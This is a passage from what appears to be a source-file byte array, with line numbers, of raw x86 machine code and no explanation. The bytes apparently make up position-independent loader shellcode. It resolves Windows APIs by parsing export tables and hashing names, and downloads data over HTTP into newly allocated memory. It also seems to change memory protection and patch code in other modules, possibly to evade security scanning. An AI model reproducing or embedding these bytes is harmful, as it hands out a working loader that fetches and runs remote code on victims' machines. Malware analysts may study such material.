0x57, 0xe8, 0xfe, 0x1d, 0x00, 754 | 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0xae, 0x13, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 755 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0xe3, 0x1d, 0x00, 0x00, 0xb9, 0x0f, 756 | 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0xd0, 0x1d, 757 | 0x00, 0x00, 0xb9, 0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 758 | 0x08, 0xe8, 0xbd, 0x1d, 0x00, 0x00, 0xb9, 0x5b, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 759 | 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xaa, 0x1d, 0x00, 0x00, 0xb9, 0x11, 0x12, 0x40, 0x00, 760 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 0xe8, 0x97, 0x1d, 0x00, 0x00, 0xb9, 761 | 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x14, 0xe8, 0x84, 762 | 0x1d, 0x00, 0x00, 0xb9, 0xa9, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 763 | 0x48, 0x18, 0xe8, 0x71, 0x1d, 0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 764 | 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x5e, 0x1d, 0x00, 0x00, 0xb9, 0x5e, 0x13, 0x40, 765 | 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x20, 0xe8, 0x4b, 0x1d, 0x00, 0x00, 766 | 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 767 | 0x38, 0x1d, 0x00, 0x00, 0xb9, 0x59, 0x13, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 768 | 0x5f, 0x89, 0x48, 0x28, 0x8b, 0x44, 0x24, 0x08, 0x83, 0x66, 0x04, 0x00, 0x89, 0x46, 0x2c, 769 | 0x5e, 0xc3, 0x33, 0xc0, 0xc2, 0x04, 0x00, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x2c, 0x33, 0xc0, 770 | 0x56, 0x6a, 0x20, 0x50, 0x89, 0x45, 0xf4, 0x89, 0x45, 0xf8, 0x89, 0x45, 0xfc, 0x8d, 0x45, 771 | 0xd4, 0x50, 0xe8, 0x95, 0x21, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0x8d, 0x4d, 0xd4, 0x83, 0xc4, 772 | 0x0c, 0x8b, 0x06, 0x51, 0x56, 0xff, 0x50, 0x0c, 0x85, 0xc0, 0x75, 0x12, 0x8b, 0x06, 0x8d, 773 | 0x4d, 0xfc, 0x51, 0x8d, 0x4d, 0xf8, 0x51, 0x8d, 0x4d, 0xf4, 0x51, 0x56, 0xff, 0x50, 0x10, 774 | 0x33, 0xc0, 0x5e, 0xc9, 0xc2, 0x08, 0x00, 0x33, 0xc0, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 0x24, 775 | 0x0c, 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x6c, 0x8b, 0x54, 0x24, 776 | 0x04, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x56, 0x57, 0x8b, 0x7a, 0x2c, 0x33, 0xf6, 0x8b, 0x84, 777 | 0xb7, 0xf4, 0x05, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75, 0x08, 0x46, 0x83, 0xfe, 0x04, 0x75, 778 | 0xee, 0xeb, 0x14, 0x33, 0xf6, 0x8b, 0x84, 0xb7, 0xa4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0xb3, 779 | 0x75, 0x0e, 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0x89, 0x11, 0xf0, 0xff, 0x42, 0x04, 0xeb, 780 | 0x1d, 0x33, 0xf6, 0x8b, 0x84, 0xb7, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75, 0x13, 781 | 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0x8d, 0x42, 0x08, 0x89, 0x01, 0xf0, 0xff, 0x42, 0x0c, 782 | 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 783 | 0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x18, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x18, 0x00, 784 | 0x8b, 0x44, 0x24, 0x04, 0x0f, 0xaf, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x14, 0x83, 785 | 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x03, 0x44, 0x24, 0x08, 786 | 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x86, 0x58, 0x03, 0x00, 0x00, 0x50, 787 | 0xff, 0x56, 0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, 0x00, 788 | 0x55, 0x57, 0x8d, 0x86, 0xc0, 0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 789 | 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf, 0x38, 0x14, 0x40, 0x00, 0x81, 0xef, 790 | 0x2c, 0x14, 0x40, 0x00, 0x0f, 0x88, 0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 791 | 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 792 | 0x57, 0xe8, 0xbf, 0x1b, 0x00, 0x00, 0xb9, 0x2c, 0x14, 0x40, 0x00, 0x81, 0xe9, 0x75, 0x30, 793 | 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x23, 0x20, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 794 | 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 795 | 0xd0, 0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, 0x49, 796 | 0xbf, 0x4e, 0x14, 0x40, 0x00, 0xbb, 0x42, 0x14, 0x40, 0x00, 0x2b, 0xfb, 0x78, 0x3b, 0x8d, 797 | 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 798 | 0x57, 0xe8, 0x65, 0x1b, 0x00, 0x00, 0x81, 0xeb, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc3, 0x50, 799 | 0x55, 0xe8, 0xce, 0x1f, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 800 | 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, 0xeb, 0x02, 0x33, 0xc0, 801 | 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x86, 802 | 0x64, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, 0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 803 | 0xe9, 0xc5, 0x00, 0x00, 0x00, 0x55, 0x57, 0x8d, 0x86, 0x70, 0x05, 0x00, 0x00, 0x50, 0x53, 804 | 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf, 0x50, 805 | 0x30, 0x40, 0x00, 0x81, 0xef, 0xa9, 0x13, 0x40, 0x00, 0x0f, 0x88, 0x99, 0x00, 0x00, 0x00, 806 | 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 807 | 0x84, 0x85, 0x00, 0x00, 0x00, 0x57, 0xe8, 0xd9, 0x1a, 0x00, 0x00, 0xb9, 0xa9, 0x13, 0x40, 808 | 0x00, 0x81, 0xe9, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x3d, 0x1f, 0x00, 809 | 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 810 | 0xff, 0x56, 0x48, 0x8d, 0x86, 0x90, 0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 811 | 0xe8, 0x85, 0xed, 0x74, 0x49, 0xbf, 0x47, 0x30, 0x40, 0x00, 0xbb, 0x38, 0x30, 0x40, 0x00, 812 | 0x2b, 0xfb, 0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff, 0x56, 813 | 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x7f, 0x1a, 0x00, 0x00, 0x81, 0xeb, 0x75, 0x30, 814 | 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, 0xe8, 0x1e, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 815 | 0x44, 0x24, 0x10, 0x50, 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 816 | 0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x81, 0xec, 0x58, 0x02, 817 | 0x00, 0x00, 0x53, 0x56, 0x57, 0x6a, 0x3c, 0x5e, 0x33, 0xff, 0x8d, 0x44, 0x24, 0x28, 0x56, 818 | 0x57, 0x50, 0x89, 0x7c, 0x24, 0x1c, 0xbb, 0x00, 0x02, 0x60, 0x84, 0xe8, 0xcb, 0x1e, 0x00, 819 | 0x00, 0x8d, 0x44, 0x24, 0x70, 0x89, 0x74, 0x24, 0x34, 0x8b, 0xb4, 0x24, 0x74, 0x02, 0x00, 820 | 0x00, 0x83, 0xc4, 0x0c, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x84, 0x24, 0x64, 0x01, 0x00, 0x00, 821 | 0x89, 0x44, 0x24, 0x54, 0xb8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x3c, 0x89, 0x44, 822 | 0x24, 0x58, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x68, 0x00, 0x00, 0x00, 0x10, 0x57, 0x8d, 0x86, 823 | 0xe8, 0x06, 0x00, 0x00, 0x50, 0xff, 0x96, 0x98, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 824 | 0xac, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x34, 0x04, 0x57, 0x57, 0x0f, 0x94, 825 | 0xc0, 0x57, 0x89, 0x44, 0x24, 0x20, 0xb8, 0x00, 0x32, 0xe0, 0x84, 0x57, 0x57, 0x0f, 0x44, 826 | 0xd8, 0xff, 0x96, 0x9c, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0, 0x0f, 0x84, 827 | 0x7f, 0x01, 0x00, 0x00, 0x57, 0x57, 0x6a, 0x03, 0x57, 0x57, 0xff, 0x74, 0x24, 0x54, 0x8d, 828 | 0x4c, 0x24, 0x7c, 0x51, 0x50, 0xff, 0x96, 0xa0, 0x00, 0x00, 0x00, 0x8b, 0xc8, 0x89, 0x4c, 829 | 0x24, 0x20, 0x85, 0xc9, 0x0f, 0x84, 0xfb, 0x00, 0x00, 0x00, 0x55, 0x57, 0x53, 0x57, 0x57, 830 | 0x57, 0x8d, 0x84, 0x24, 0x7c, 0x01, 0x00, 0x00, 0x50, 0x8d, 0x86, 0xe8, 0x07, 0x00, 0x00, 831 | 0x50, 0x51, 0xff, 0x96, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xca, 832 | 0x00, 0x00, 0x00, 0x39, 0x7c, 0x24, 0x18, 0x74, 0x20, 0xf7, 0xc3, 0x00, 0x10, 0x00, 0x00, 833 | 0x74, 0x18, 0x6a, 0x04, 0x8d, 0x44, 0x24, 0x20, 0xc7, 0x44, 0x24, 0x20, 0x80, 0x33, 0x00, 834 | 0x00, 0x50, 0x6a, 0x1f, 0x55, 0xff, 0x96, 0xa4, 0x00, 0x00, 0x00, 0x57, 0x57, 0x57, 0x57, 835 | 0x55, 0xff, 0x96, 0xb4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x8a, 0x00, 0x00, 0x00, 836 | 0x57, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 837 | 0x44, 0x24, 0x1c, 0x50, 0x68, 0x13, 0x00, 0x00, 0x20, 0x55, 0xff, 0x96, 0xb8, 0x00, 0x00, 838 | 0x00, 0x85, 0xc0, 0x74, 0x67, 0x81, 0x7c, 0x24, 0x14, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x5d, 839 | 0x57, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d, 840 | 0x9e, 0x18, 0x09, 0x00, 0x00, 0x53, 0x68, 0x05, 0x00, 0x00, 0x20, 0x55, 0x89, 0x3b, 0x89, 841 | 0x7b, 0x04, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x33, 0x8b, 0x03, 0x0b, 842 | 0x43, 0x04, 0x74, 0x2c, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x33, 0x57, 0xff, 843 | 0x56, 0x3c, 0x89, 0x86, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x15, 0x8d, 0x4c, 0x24, 844 | 0x20, 0x89, 0x7c, 0x24, 0x20, 0x51, 0xff, 0x33, 0x50, 0x55, 0xff, 0x96, 0xa8, 0x00, 0x00, 845 | 0x00, 0x8b, 0xf8, 0x55, 0xff, 0x96, 0xac, 0x00, 0x00, 0x00, 0xff, 0x74, 0x24, 0x24, 0xff, 846 | 0x96, 0xac, 0x00, 0x00, 0x00, 0x5d, 0xff, 0x74, 0x24, 0x24, 0xff, 0x96, 0xac, 0x00, 0x00, 847 | 0x00, 0x85, 0xff, 0x74, 0x4e, 0x83, 0xbe, 0x34, 0x02, 0x00, 0x00, 0x03, 0x75, 0x45, 0xff, 848 | 0xb6, 0x18, 0x09, 0x00, 0x00, 0x8b, 0x9e, 0x20, 0x09, 0x00, 0x00, 0x8d, 0x86, 0x08, 0x09, 849 | 0x00, 0x00, 0x53, 0x50, 0x8d, 0x86, 0xf8, 0x08, 0x00, 0x00, 0x50, 0xe8, 0xd1, 0x19, 0x00, 850 | 0x00, 0xff, 0x76, 0x2c, 0x8d, 0x86, 0xf0, 0x07, 0x00, 0x00, 0xff, 0x76, 0x28, 0x50, 0xe8, 851 | 0x99, 0x18, 0x00, 0x00, 0x83, 0xc4, 0x1c, 0x3b, 0x83, 0x18, 0x05, 0x00, 0x00, 0x75, 0x0c, 852 | 0x3b, 0x93, 0x1c, 0x05, 0x00, 0x00, 0x75, 0x04, 0x8b, 0xc7, 0xeb, 0x02, 0x33, 0xc0, 0x5f, 853 | 0x5e, 0x5b, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0xdc, 0x01, 0x00, 0x00, 854 | 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0xf0, 0x01, 0x00, 0x00, 0x57, 0x8b, 0x6e, 0x3c, 0x8b, 855 | 0x44, 0x2e, 0x78, 0x85, 0xc0, 0x0f, 0x84, 0xe5, 0x00, 0x00, 0x00, 0x8d, 0x3c, 0x30, 0x8b, 856 | 0x5f, 0x18, 0x85, 0xdb, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33, 0xd2, 857 | 0x03, 0xc6, 0x89, 0x54, 0x24, 0x10, 0x89, 0x44, 0x24, 0x24, 0x8b, 0x47, 0x20, 0x03, 0xc6, 858 | 0x89, 0x44, 0x24, 0x14, 0x8b, 0x47, 0x24, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 859 | 0x0c, 0x03, 0xc6, 0x8a, 0x08, 0x84, 0xc9, 0x74, 0x2a, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x94, 860 | 0x24, 0xe8, 0x00, 0x00, 0x00, 0x2b, 0xd0, 0x80, 0xc9, 0x20, 0x46, 0x88, 0x0c, 0x02, 0x40, 861 | 0x8a, 0x08, 0x84, 0xc9, 0x75, 0xf2, 0x89, 0x74, 0x24, 0x10, 0x8b, 0xb4, 0x24, 0xf4, 0x01, 862 | 0x00, 0x00, 0x8b, 0x54, 0x24, 0x10, 0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8d, 0x84, 863 | 0x24, 0xec, 0x00, 0x00, 0x00, 0xc6, 0x84, 0x14, 0xec, 0x00, 0x00, 0x00, 0x00, 0xff, 0xb4, 864 | 0x24, 0x04, 0x02, 0x00, 0x00, 0x50, 0xe8, 0xcf, 0x17, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, 865 | 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x14, 0x83, 0xc0, 0xfc, 0x89, 0x54, 0x24, 0x1c, 0x8d, 866 | 0x04, 0x98, 0x89, 0x44, 0x24, 0x10, 0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x08, 867 | 0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x03, 0xce, 0x51, 0xe8, 0x9e, 0x17, 0x00, 0x00, 868 | 0x33, 0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x33, 0x54, 0x24, 0x1c, 0x3b, 0x84, 0x24, 0xf8, 869 | 0x01, 0x00, 0x00, 0x75, 0x09, 0x3b, 0x94, 0x24, 0xfc, 0x01, 0x00, 0x00, 0x74, 0x1d, 0x8b, 870 | 0x44, 0x24, 0x10, 0x83, 0xe8, 0x04, 0x89, 0x44, 0x24, 0x10, 0x83, 0xeb, 0x01, 0x75, 0xbb, 871 | 0x33, 0xc0, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x01, 0x00, 0x00, 0xc3, 0x8b, 0x44, 872 | 0x24, 0x20, 0x8b, 0x4c, 0x24, 0x24, 0x0f, 0xb7, 0x44, 0x58, 0xfe, 0x8b, 0x0c, 0x81, 0x03, 873 | 0xce, 0x3b, 0xcf, 0x72, 0x7d, 0x8b, 0x44, 0x2e, 0x7c, 0x03, 0xc7, 0x3b, 0xc8, 0x73, 0x73, 874 | 0x33, 0xd2, 0x38, 0x11, 0x74, 0x1e, 0x8d, 0x7c, 0x24, 0x28, 0x8b, 0xf1, 0x2b, 0xf9, 0x83, 875 | 0xfa, 0x3c, 0x73, 0x11, 0x8a, 0x06, 0x88, 0x04, 0x37, 0x80, 0x3e, 0x2e, 0x74, 0x07, 0x42, 876 | 0x46, 0x80, 0x3e, 0x00, 0x75, 0xea, 0xc7, 0x44, 0x14, 0x29, 0x64, 0x6c, 0x6c, 0x00, 0x42, 877 | 0x03, 0xca, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x17, 0x8d, 0x74, 0x24, 0x68, 0x2b, 0xf1, 0x83, 878 | 0xfa, 0x7f, 0x73, 0x0c, 0x8a, 0x01, 0x42, 0x88, 0x04, 0x0e, 0x41, 0x80, 0x39, 0x00, 0x75, 879 | 0xef, 0x8b, 0xb4, 0x24, 0xf0, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 0x50, 0xc6, 0x44, 880 | 0x14, 0x6c, 0x00, 0xff, 0x56, 0x30, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x4c, 0x24, 0x68, 0x51, 881 | 0x50, 0xff, 0x56, 0x34, 0x8b, 0xc8, 0xeb, 0x02, 0x33, 0xc9, 0x8b, 0xc1, 0xe9, 0x5b, 0xff, 882 | 0xff, 0xff, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, 0x33, 0xff, 0x8b, 0x4e, 0x18, 0x85, 0xc9, 883 | 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x18, 0x8b, 0x4e, 0x1c, 0x85, 884 | 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x1c, 0x8b, 0x4e, 0x14, 885 | 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x14, 0x8b, 0x4e, 886 | 0x10, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x10, 0x8b, 887 | 0x4e, 0x0c, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x0c, 888 | 0x8b, 0x4e, 0x08, 0x85, 0xc9, 0x74, 0x12, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x2c, 0x8b, 0x46, 889 | 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x89, 0x7e, 0x08, 0x8b, 0x4e, 0x04, 0x85, 0xc9, 890 | 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x04, 0x8b, 0x0e, 0x85, 0xc9, 891 | 0x74, 0x08, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x3e, 0x5f, 0x5e, 0xc3, 0x8b, 0x44, 892 | 0x24, 0x04, 0x83, 0xc0, 0x10, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 0x00, 0xb8, 0x01, 893 | 0x40, 0x00, 0x80, 0xc2, 0x0c, 0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x10, 0x00, 0x8b, 894 | 0x44, 0x24, 0x04, 0xff, 0x74, 0x24, 0x18, 0xff, 0x74, 0x24, 0x14, 0x8b, 0x40, 0x08, 0xff, 895 | 0x74, 0x24, 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0xc2, 0x18, 0x00, 0xb8, 0x01, 0x40, 896 | 0x00, 0x80, 0xc2, 0x14, 0x00, 0x57, 0x8b, 0x7c, 0x24, 0x14, 0x85, 0xff, 0x75, 0x07, 0xb8, 897 | 0x03, 0x40, 0x00, 0x80, 0xeb, 0x16, 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x8b, 0x46, 0x08, 0x50, 898 | 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, 0x08, 0x89, 0x07, 0x33, 0xc0, 0x5e, 0x5f, 0xc2, 899 | 0x10, 0x00, 0x8b, 0x44, 0x24, 0x08, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 900 | 0xeb, 0x08, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x08, 0x00, 0x55, 0x8b, 901 | 0xec, 0xff, 0x75, 0x28, 0x8b, 0x45, 0x08, 0xff, 0x75, 0x24, 0xff, 0x75, 0x20, 0x8b, 0x48, 902 | 0x08, 0xff, 0x75, 0x1c, 0xff, 0x75, 0x18, 0x8b, 0x11, 0xff, 0x75, 0x0c, 0x50, 0x51, 0xff, 903 | 0x52, 0x2c, 0x5d, 0xc2, 0x24, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x04, 0x02, 0x00, 0x00, 904 | 0x53, 0x56, 0x57, 0xe8, 0x2d, 0x15, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0xb9, 0xd2, 0x1d, 0x40, 905 | 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 906 | 0x13, 0x15, 0x00, 0x00, 0xb9, 0x8a, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 907 | 0x89, 0x48, 0x04, 0xe8, 0x00, 0x15, 0x00, 0x00, 0xb9, 0x5b, 0x1e, 0x40, 0x00, 0x2b, 0xcf, 908 | 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xed, 0x14, 0x00, 0x00, 0xb9, 0xf7, 0x1a, 909 | 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xda, 0x14, 0x00, 910 | 0x00, 0xb9, 0xcd, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 911 | 0xe8, 0xc7, 0x14, 0x00, 0x00, 0xb9, 0xa9, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 912 | 0x06, 0x89, 0x48, 0x14, 0xe8, 0xb4, 0x14, 0x00, 0x00, 0xb9, 0x11, 0x1b, 0x40, 0x00, 0x2b, 913 | 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x18, 0xe8, 0xa1, 0x14, 0x00, 0x00, 0xb9, 0x0c, 914 | 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x8e, 0x14, 915 | 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 916 | 0x20, 0xe8, 0x7b, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 917 | 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 0x68, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 918 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x28, 0xe8, 0x55, 0x14, 0x00, 0x00, 0xb9, 919 | 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x2c, 0xe8, 0x42, 920 | 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 921 | 0x48, 0x30, 0xe8, 0x2f, 0x14, 0x00, 0x00, 0xb9, 0x43, 0x1e, 0x40, 0x00, 0x2b, 0xcf, 0x03, 922 | 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x34, 0xe8, 0x1c, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 923 | 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x38, 0xe8, 0x09, 0x14, 0x00, 0x00, 924 | 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x3c, 0xe8, 925 | 0xf6, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 926 | 0x89, 0x48, 0x40, 0xe8, 0xe3, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 927 | 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x44, 0xe8, 0xd0, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 928 | 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x48, 0xe8, 0xbd, 0x13, 0x00, 929 | 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x4c, 930 | 0xe8, 0xaa, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 931 | 0x06, 0x89, 0x48, 0x50, 0xe8, 0x97, 0x13, 0x00, 0x00, 0xb9, 0xa1, 0x1a, 0x40, 0x00, 0x2b, 932 | 0xcf, 0x03, 0xc8, 0x8b, 0x06, 